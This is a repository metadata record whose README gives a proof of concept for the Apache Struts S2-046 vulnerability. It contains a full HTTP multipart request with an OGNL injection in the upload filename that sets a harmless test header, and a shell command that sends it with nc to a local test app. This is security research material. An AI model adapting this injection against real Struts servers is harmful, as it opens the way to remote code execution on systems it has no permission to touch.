{"id":13816029,"url":"https://github.com/pwntester/S2-046-PoC","last_synced_at":"2025-05-15T12:31:13.242Z","repository":{"id":149624248,"uuid":"85619165","full_name":"pwntester/S2-046-PoC","owner":"pwntester","description":"S2-046-PoC","archived":false,"fork":false,"pushed_at":"2017-03-21T10:11:46.000Z","size":4,"stargazers_count":112,"open_issues_count":0,"forks_count":34,"subscribers_count":8,"default_branch":"master","last_synced_at":"2025-05-10T01:45:27.396Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pwntester.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2017-03-20T19:47:10.000Z","updated_at":"2024-08-12T19:28:33.000Z","dependencies_parsed_at":"2024-01-15T14:49:04.702Z","dependency_job_id":"103e4632-aa29-4e71-80d6-aea41934eda8","html_url":"https://github.com/pwntester/S2-046-PoC","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pwntester%2FS2-046-PoC","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pwntester%2FS2-046-PoC/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pwntester%2FS2-046-PoC/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pwntester%2FS2-046-PoC/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pwntester","download_url":"https://codeload.github.com/pwntester/S2-046-PoC/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254341023,"owners_count":22054966,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T05:00:31.412Z","updated_at":"2025-05-15T12:31:12.860Z","avatar_url":"https://github.com/pwntester.png","language":"Java","funding_links":[],"categories":["Java"],"sub_categories":[],"readme":"# S2-046-PoC\n\n## References:\n- Security Bulletin: https://cwiki.apache.org/confluence/display/WW/S2-046\n- Blog post: https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#.WNAr_RLyvpR\n- Chris Frohoff's NULL character variant: https://gist.github.com/frohoff/a3e24764561c0c18b6270805140e7600\n\n## Proof of concept:\nStart vulnerable application with:\n```\nmvn jetty:run\n```\n\nSample request:\n```\nPOST /doUpload.action HTTP/1.1\nHost: localhost:8080\nContent-Length: 1000000000\nCache-Control: max-age=0\nOrigin: http://localhost:8080\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nReferer: http://localhost:8080/doUpload\nAccept-Language: en-US,en;q=0.8,es;q=0.6\nConnection: close\n\n------WebKitFormBoundaryXd004BVJN9pBYBL2\nContent-Disposition: form-data; name=\"upload\"; filename=\"%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}\"\nContent-Type: text/plain\n\n\nfoo\n------WebKitFormBoundaryXd004BVJN9pBYBL2--\n```\n\nSend request:\n```\nexport payload=\"POST /doUpload.action HTTP/1.1\\r\\nHost: localhost:8080\\r\\nContent-Length: 279000000\\r\\nCache-Control: max-age=0\\r\\nOrigin: http://localhost:8080\\r\\nUpgrade-Insecure-Requests: 1\\r\\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\\r\\nReferer: http://localhost:8080/doUpload\\r\\nAccept-Language: en-US,en;q=0.8,es;q=0.6\\r\\nConnection: close\\r\\n\\r\\n------WebKitFormBoundaryXd004BVJN9pBYBL2\\r\\nContent-Disposition: form-data; name=\\\"upload\\\"; filename=\\\"%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}\\\"\\r\\nContent-Type: text/plain\\r\\n\\r\\nfoo\\r\\n------WebKitFormBoundaryXd004BVJN9pBYBL2--\\r\\n\"\necho -e \"$payload\" | nc localhost 8080\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpwntester%2FS2-046-PoC","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpwntester%2FS2-046-PoC","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpwntester%2FS2-046-PoC/lists"}